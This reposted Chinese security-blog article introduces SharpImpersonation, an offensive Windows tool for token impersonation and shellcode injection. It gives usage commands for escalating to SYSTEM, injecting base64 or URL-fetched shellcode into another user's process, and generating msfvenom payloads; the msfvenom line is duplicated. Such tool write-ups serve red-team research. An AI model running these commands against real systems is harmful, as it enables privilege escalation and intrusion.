SharpImpersonation:一款基于令牌和Shellcode注入的用户模拟工具

图片[1]-SharpImpersonation:一款基于令牌和Shellcode注入的用户模拟工具-NGC660安全实验室

关于SharpImpersonation

SharpImpersonation是一款功能强大的用户模拟工具,该工具基于令牌机制和Shellcode注入技术实现其功能,可以帮助广大研究人员更好地对组织内部的网络环境和系统安全进行分析和测试。

该工具基于Tokenvator的代码库实现其功能,并对其部分代码进行了优化,同时还添加了还嗯多其他的功能,并且还参考借鉴了很多其他优秀的开源工具。

功能介绍

1、使用list参数枚举本地系统中的所有用户;

2、以非提权上下文枚举本地系统中的所有用户;

3、自动提权为“SYSTEM”;

4、搜索目标用户名的第一个进程,将其进程ID作为目标;

5、支持从Webserver加载Stager;

6、……

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/S3cur3Th1sSh1t/SharpImpersonation.git

工具使用

枚举用户进程

PS > PS C:\temp> SharpImpersonation.exe list
图片[2]-SharpImpersonation:一款基于令牌和Shellcode注入的用户模拟工具-NGC660安全实验室

枚举提权进程

PS > PS C:\temp> SharpImpersonation.exe list elevated

模拟目标用户的第一个进程并执行新的代码

PS > PS C:\temp> SharpImpersonation.exe user:<user> binary:<binary-Path>
图片[3]-SharpImpersonation:一款基于令牌和Shellcode注入的用户模拟工具-NGC660安全实验室

向目标用户的第一个进程注入Base64编码的Shellcode

PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<base64shellcode>
图片[4]-SharpImpersonation:一款基于令牌和Shellcode注入的用户模拟工具-NGC660安全实验室

从Webserver载入Shellcode并注入到目标用户的第一个进程

PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<URL>
图片[5]-SharpImpersonation:一款基于令牌和Shellcode注入的用户模拟工具-NGC660安全实验室

通过ImpersonateLoggedOnuser模拟当前会话的目标用户

PS > PS C:\temp> SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser
图片[6]-SharpImpersonation:一款基于令牌和Shellcode注入的用户模拟工具-NGC660安全实验室

生成msfvenom Shellcode并注入到其他用户进程中

msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=threadmsfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread | base64 -w0
图片[7]-SharpImpersonation:一款基于令牌和Shellcode注入的用户模拟工具-NGC660安全实验室

项目地址

SharpImpersonation:【GitHub传送门

参考资料

https://github.com/0xbadjuju/Tokenvator

https://s3cur3th1ssh1t.github.io/SharpImpersonation-Introduction/

https://lolbas-project.github.io/

https://thewover.github.io/Dynamic-Invoke/

https://github.com/TheWover/DInvoke

https://github.com/djhohnstein/SharpChromium

https://github.com/V1V1/SharpScribbles/tree/master/ThunderFox

https://s3cur3th1ssh1t.github.io/On-how-to-access-protected-networks/

https://github.com/S3cur3Th1sSh1t/SharpNamedPipePTH

https://www.mcafee.com/enterprise/en-us/assets/reports/rp-access-token-theft-manipulation-attacks.pdf

本文转载于FreeBuf.COM,原作者:Alpha_h4ck 
原地址:SharpImpersonation:一款基于令牌和Shellcode注入的用户模拟工具 – FreeBuf网络安全行业门户
若侵权请联系删除

© 版权声明
THE END
喜欢就支持一下吧
点赞10赏点小钱 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    请登录后查看评论内容